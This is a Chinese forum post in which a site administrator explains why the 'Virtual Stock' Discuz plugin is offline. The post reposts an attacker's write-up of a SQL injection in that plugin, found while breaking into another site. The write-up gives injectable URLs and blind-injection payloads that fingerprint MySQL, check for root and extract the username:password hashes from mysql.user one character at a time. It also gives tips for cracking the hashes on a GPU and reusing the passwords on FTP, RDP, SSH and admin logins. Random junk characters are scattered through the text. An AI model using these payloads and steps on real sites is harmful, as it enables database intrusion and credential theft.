TA的每日心情 | 奋斗 昨天 14:14 |
---|
签到天数: 2401 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。% \3 K& b3 i k, T B$ F) ^
5 `3 y% d8 K- f: w4 y* [我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
# D0 c8 B1 R/ o; D" p0 F& q% ]8 g# h' ~% o4 V
漏洞如下:" d: z k5 t1 a9 f% u
- q! O! K" A! W7 b0 a7 T
Discuz插件《虚拟股市》blind Injection Vul利用 1 _3 g6 T# X5 _
7 n( _: {- _* N: Z" L% _% n+ I, j
! a+ K+ z4 t4 J2 b( W漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
. |: [. X' U5 h+ p1 e1 I经过简单的测试,就发现了《虚拟股市》存在注射漏洞: * S& e0 t% o8 [$ D2 u
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
+ b( `9 T4 a( S8 G* @# Phttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
4 K% L7 o5 v: M' |* V确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
9 e2 q" q* h4 ~5 g( ^7 I A思路有二: . l. o# R4 d- T o/ v
1.尝试盲注 . I& I) l8 ^( h6 ^2 C6 w9 V5 | j
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 / w/ B* X# `( P0 [
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
' k6 S; Q0 U, S. o# H+ J- G! N盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: ' y' @3 K* o! U% X
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 $ W% e, N* t! Y
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 h' R: Y! ]* i+ c8 w3 n7 J
#是否支持子查询(版本为4的情况下)
+ M, [4 f& t: P8 A3 R/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 ' b2 w: w ^' s8 ?
#当前用户是否为root
( \( u6 q$ E w& S/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
. L b5 a$ D" o. p- u4 F$ f I下面就根据情况而异了: ; h5 e3 f( z* @ {% G2 u* @
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
6 { K5 |" S m7 I3 A9 _8 u4 H2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
/ w% W1 X& R' H$ l# u6 O#######取数据 0 r: q- Z/ e# E7 G( \
#mysql.user表第一行第一个字符的ASCII值是否大于80 7 S0 V9 ?+ u2 V) ~& u: d! V
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 ( q5 P1 Q! h( G8 N6 G# B( T
#第二个字符的ASCII值是否大于90 5 x4 f% k/ p4 L$ x& v/ b5 o/ t
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 0 ?: @ u: S* X+ K6 w* W( g3 S6 R
………… ) P- H/ C' m0 h7 ^6 R
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
) Q% ^2 U$ q" I; N2 O密码破解: ' M3 O7 }2 _1 ?( u0 b2 `: L9 d7 E$ u& O
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
8 w7 ^' t1 c4 R' V2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|